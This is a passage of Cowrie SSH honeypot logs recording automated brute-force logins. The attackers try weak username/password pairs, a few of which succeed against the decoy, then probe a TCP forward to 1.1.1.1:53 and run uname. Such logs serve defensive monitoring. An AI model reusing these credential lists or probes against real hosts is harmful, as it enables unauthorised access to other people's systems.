ha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:22.546832Z","src_ip":"193.151.144.93","session":"4b2c7ea50865","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:24.895755Z","src_ip":"193.151.144.93","session":"4b2c7ea50865","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:26.071414Z","src_ip":"193.151.144.93","session":"4b2c7ea50865","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":36666,"dst_ip":"10.17.0.5","dst_port":22,"session":"8552bf0b61db","protocol":"ssh","message":"New connection: 193.151.144.93:36666 (10.17.0.5:22) [session: 8552bf0b61db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:27.859801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:27.895646Z","src_ip":"193.151.144.93","session":"8552bf0b61db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:28.024858Z","src_ip":"193.151.144.93","session":"8552bf0b61db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234","message":"login attempt [root/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:28.669530Z","src_ip":"193.151.144.93","session":"8552bf0b61db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:29.834201Z","src_ip":"193.151.144.93","session":"8552bf0b61db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"smile","message":"login attempt [root/smile] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:32.252206Z","src_ip":"20.6.35.235","session":"65229150990a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":54970,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c22c4251204","protocol":"ssh","message":"New connection: 193.151.144.93:54970 (10.17.0.5:22) [session: 5c22c4251204]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:33.556785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:33.561475Z","src_ip":"193.151.144.93","session":"5c22c4251204","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:33.729110Z","src_ip":"193.151.144.93","session":"5c22c4251204","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"123456","message":"login attempt [student/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:34.235973Z","src_ip":"193.151.144.93","session":"5c22c4251204","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.6","message":"Connection lost after 14.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:34.394103Z","src_ip":"20.6.35.235","session":"65229150990a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:35.835392Z","src_ip":"193.151.144.93","session":"5c22c4251204","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":54984,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e954a8ad0b8","protocol":"ssh","message":"New connection: 193.151.144.93:54984 (10.17.0.5:22) [session: 1e954a8ad0b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:39.058247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:39.064963Z","src_ip":"193.151.144.93","session":"1e954a8ad0b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:39.235920Z","src_ip":"193.151.144.93","session":"1e954a8ad0b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"123456","message":"login attempt [uftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:39.746933Z","src_ip":"193.151.144.93","session":"1e954a8ad0b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:40.920693Z","src_ip":"193.151.144.93","session":"1e954a8ad0b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":6452,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7fbe47549b6","protocol":"ssh","message":"New connection: 87.251.64.176:6452 (10.17.0.5:22) [session: e7fbe47549b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:41.440493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:41.445329Z","src_ip":"87.251.64.176","session":"e7fbe47549b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:41.541164Z","src_ip":"87.251.64.176","session":"e7fbe47549b6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:41.825866Z","src_ip":"87.251.64.176","session":"e7fbe47549b6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:41.923856Z","session":"e7fbe47549b6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:42.021930Z","src_ip":"87.251.64.176","session":"e7fbe47549b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:42.119493Z","src_ip":"87.251.64.176","session":"e7fbe47549b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":49066,"dst_ip":"10.17.0.5","dst_port":22,"session":"a78eb8d3005d","protocol":"ssh","message":"New connection: 193.151.144.93:49066 (10.17.0.5:22) [session: a78eb8d3005d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:44.371476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:44.376605Z","src_ip":"193.151.144.93","session":"a78eb8d3005d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:44.549355Z","src_ip":"193.151.144.93","session":"a78eb8d3005d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"123456","message":"login attempt [vbox/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:45.068462Z","src_ip":"193.151.144.93","session":"a78eb8d3005d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:46.245810Z","src_ip":"193.151.144.93","session":"a78eb8d3005d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":49072,"dst_ip":"10.17.0.5","dst_port":22,"session":"74b7fe774b30","protocol":"ssh","message":"New connection: 193.151.144.93:49072 (10.17.0.5:22) [session: 74b7fe774b30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:49.834481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:49.843397Z","src_ip":"193.151.144.93","session":"74b7fe774b30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:50.014409Z","src_ip":"193.151.144.93","session":"74b7fe774b30","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@123","message":"login attempt [admin/Admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:50.513726Z","src_ip":"193.151.144.93","session":"74b7fe774b30","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:50.881211Z","src_ip":"193.151.144.93","session":"74b7fe774b30","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:50.884579Z","src_ip":"193.151.144.93","session":"74b7fe774b30","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:51.049240Z","src_ip":"193.151.144.93","session":"74b7fe774b30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:51.054040Z","src_ip":"193.151.144.93","session":"74b7fe774b30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":44146,"dst_ip":"10.17.0.5","dst_port":22,"session":"27577f691cce","protocol":"ssh","message":"New connection: 193.151.144.93:44146 (10.17.0.5:22) [session: 27577f691cce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:55.374453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:55.379669Z","src_ip":"193.151.144.93","session":"27577f691cce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:55.551870Z","src_ip":"193.151.144.93","session":"27577f691cce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1","message":"login attempt [deploy/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:56.065742Z","src_ip":"193.151.144.93","session":"27577f691cce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:57.240510Z","src_ip":"193.151.144.93","session":"27577f691cce","protocol":"ssh"}
